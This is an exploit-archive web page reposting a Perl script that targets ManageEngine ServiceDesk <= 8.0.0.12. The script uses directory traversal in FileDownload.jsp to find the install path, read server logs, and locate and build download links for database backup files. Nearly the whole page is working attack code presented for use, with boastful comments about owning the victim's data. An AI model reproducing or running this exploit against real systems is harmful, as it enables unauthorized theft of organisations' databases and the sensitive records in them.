首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
ManageEngine ServiceDesk <= 8.0.0.12 Database Disclosure Exploit
来源:vfocus.net 作者:@ygoltsev 发布时间:2011-07-08  

# Exploit Title: ManageEngine ServiceDesk <= 8.0.0.12 Database Disclosure
# Google Dork: none
# Date: 07.07.2011
# Author: @ygoltsev
# Software Link: http://www.manageengine.com/
# Version: <=8.0.0.12
# Tested on: Windows
# CVE : None

 

#!/usr/bin/perl
use LWP::UserAgent;
use File::stat;

$ptxt="
#################################################
# _____             _         ____          _  
#|   __|___ ___ _ _|_|___ ___|    \ ___ ___| |_
#|__   | -_|  _| | | |  _| -_|  |  | -_|_ -| '_|
#|_____|___|_|  \_/|_|___|___|____/|___|___|_,_|
#                                           
#################################################
 [0-day] [Database disclosure]
[desc: Exploit for ServiceDesk v *.* OS: Windows]
";

print $ptxt;

 

$ua=LWP::UserAgent->new();

 

$url="http://127.0.0.1";

$path="/workorder/FileDownload.jsp";

 

 

$installPath=&getInstallPathWin($url,$path);

 

if ($installPath ne "") {

                @backups=&getServerOutLogs($url,$path,$installPath);

} else {

                print "Install path not found :(\n";

                exit();

}

 

if (scalar(@backups)>0) {

                print "hehe.. We got paths to backup files..\n If they are
on the same drive and exists - we will own their world!!\n";

                foreach $backLine (@backups) {

                               @backInfo=split(/ --- /,$backLine);

                               #print "Trying to download $backInfo[1] from
$backInfo[0]...\n";

                               &downloadBackups($url,$path,$backLine);

                }

}

unlink("bad");

 

print "Dude, check out \'db_backups.html\'\n";

 

 

sub downloadBackups {

                my ($url,$path,$backLine) = @_;

                @backInfo=split(/ --- /,$backLine);

 
$backupUrl="${url}${path}?module=agent\&path=./\&delete=false\&FILENAME=..\\
..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\
..\\..\\..\\..\\$backInfo[0]$backInfo[1]";

                #$br=$ua->get($backupUrl);

                #if ($br->is_success) {

                #             open(A,">$backInfo[1]");

                #             print A $br->content;

                #             close(A);

                #}

                open(A,">>db_backups.html");

                print A "<a href='$backupUrl'>$backInfo[1]</a><br>\n";

                close(A);

}

 

 

 

sub getServerOutLogs {

                my ($url,$path,$installPath) = @_;

               

 
$badUrl="${url}${path}?module=agent\&path=./\&delete=false\&FILENAME=..\\..\
\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\
\..\\..\\..\\${installPath}server\\default\\log\\serverout11111111111${i}.tx
t";

                $br=$ua->get($badUrl);

                if ($br->is_success) {

                               open(A,">bad");

                               print A $br->content;

                               close(A);

                }

 

                for ($i=0;$i<=10;$i++) {

 
$logUrl="${url}${path}?module=agent\&path=./\&delete=false\&FILENAME=..\\..\
\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\
\..\\..\\..\\${installPath}server\\default\\log\\serverout${i}.txt";

                               $br=$ua->get($logUrl);

                               if ($br->is_success) {

                                               open(A,">${i}.txt");

                                               print A $br->content;

                                               close(A);

                                               if
(stat("bad")->size!=stat("${i}.txt")->size) {

                                               } else {

 
unlink("${i}.txt");

                                               }

                               }

                }

 

                for ($i=0;$i<=10;$i++) {

                               if (-e "${i}.txt") {

                                               open(A,"${i}.txt");

                                               @log=<A>;

                                               close(A);

                                               foreach $line (@log) {

                                                               if ($line=~/:
Build number(.*): ([0-9]+)\|/) {

 
$tBuild=$2;

 
if ($sdBuild eq "") {

 
$sdBuild=$tBuild;

 
}

                                                               }

                                                               if
($line=~/\[([0-9]+):([0-9]+):([0-9]+):([0-9]+)\]\|\[([0-9]+)-([0-9]+)-([0-9]
+)\]\|\[SYSOUT\](.*)BACKUPDIR=(.*), ATTACHMENT=/) {

 
push(@backups,"$9 ---
backup_servicedesk_XBUILDX_database_${5}_${6}_${7}_${1}_${2}.data");

 


                                                               }

                                               }

                                               unlink("${i}.txt");

                               }

                }

               

                if (scalar(@backups)>0) {

                               print "Man, you are realy lucky! We found
some info about ServiceDesk backups..\nBUT, I need your help now,
hehe\nLet's construct directories!\np.s. type without drive letter, like
\\backup\\\n";

                } else {

                               print "Bad luck.. Check your karma,
seriously..Where is my fucking latte!?!?\np.s. No info about backups was
found :(";

                               exit();

                }

               

                foreach $mb (@backups) {

                               $mb=~s/XBUILDX/$sdBuild/gi;

                               @dir=split(/ --- /,$mb);

                               print "Trash Dir: $dir[0]\n";

                               print "Right Dir: ";

                               chomp($rDir=<STDIN>);

                               if ($rDir ne "") {

                                               $fullDB=$dir[1];

 
$fullDB=~s/database/fullbackup/gi;

                                               push(@backupFiles,"$rDir ---
$dir[1]");

                                               push(@backupFiles,"$rDir ---
$fullDB");

                               }

                }

                return @backupFiles;

}

 

 

 

 

sub getInstallPathWin {

                my ($url,$path) = @_;

 
$url1="${url}${path}?module=agent\&path=./\&delete=false\&FILENAME=..\\..\\.
.\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\.
.\\..\\..\\";

                @paths=("ServiceDesk\\","ManageEngine\\ServiceDesk\\");

 
@checkFiles=("dashgjifyq8412348fhsjfghjqw.txt","COPYRIGHT","logs\\configport
.txt","bin\\run.bat","server\\default\\log\\boot.log");

                $i=0;

                foreach $p (@paths) {

                               $k=0;

                               foreach $f (@checkFiles) {

                                               $checkUrl="${url1}${p}${f}";

                                               $br=$ua->get($checkUrl);

                                               if ($br->is_success) {

 
open(A,">${i}${k}");

                                                               print A
$br->content;

                                                               close(A);

                                               }

                                               $k++;

                               }

                               $i++;

                }

                for ($i=0;$i<scalar(@paths);$i++) {

                               $ok=0;

                               for ($k=0;$k<scalar(@checkFiles);$k++) {

                                               if (-e "${i}${k}") {

                                                               if ($k==0) {

 
$incorrectSize=stat("${i}${k}")->size;

                                                               } else {

 
if (stat("${i}${k}")->size!=$incorrectSize) {

 
$ok++;

 
}

                                                               }

                                               }

                               }

                               if ($ok>0) {

                                               if ($ok==4) {

                                                               print "You
are lucky! \nServiceDesk installed to: $paths[$i]\n";

 
$ret=$paths[$i];

                                               } elsif ($ok>2) {

                                                               print "I
think ServiceDesk installed to: $paths[$i]\n";

 
$ret=$paths[$i];

                                               } elsif ($ok>1) {

                                                               print "You
are lucky if ServiceDesk installed to: $paths[$i]\n";

 
$ret=$paths[$i];

                                               }

                               }

                }

 

 

                for ($i=0;$i<scalar(@paths);$i++) {

                               for ($k=0;$k<scalar(@checkFiles);$k++) {

                                               unlink("${i}${k}");

                               }

                }

 

                if ($ret eq "") {

                               print "Bad luck man :\/\n";        

                               $ret=0;

                }

                return $ret;

}

 

 


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Avaya IP Office Manager TFTP S
·ZipWiz 2005 v5.0 .ZIP File Buf
·MicroP 0.1.1.1600 (MPPL File)
·phpMyAdmin3 (pma3) Remote Code
·Dlink DSL-2650U Dos/PoC
·ZipGenius v6.3.2.3000 .ZIP Fil
·CoolPlayer Portable 2.19.2 Buf
·ZipItFast v3.0 .ZIP File Heap
·Freefloat FTP Server Buffer Ov
·Blue Coat Authentication and A
·Daemon Tools Lite 4.40.2.0.013
·Blue Coat Authentication and A
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved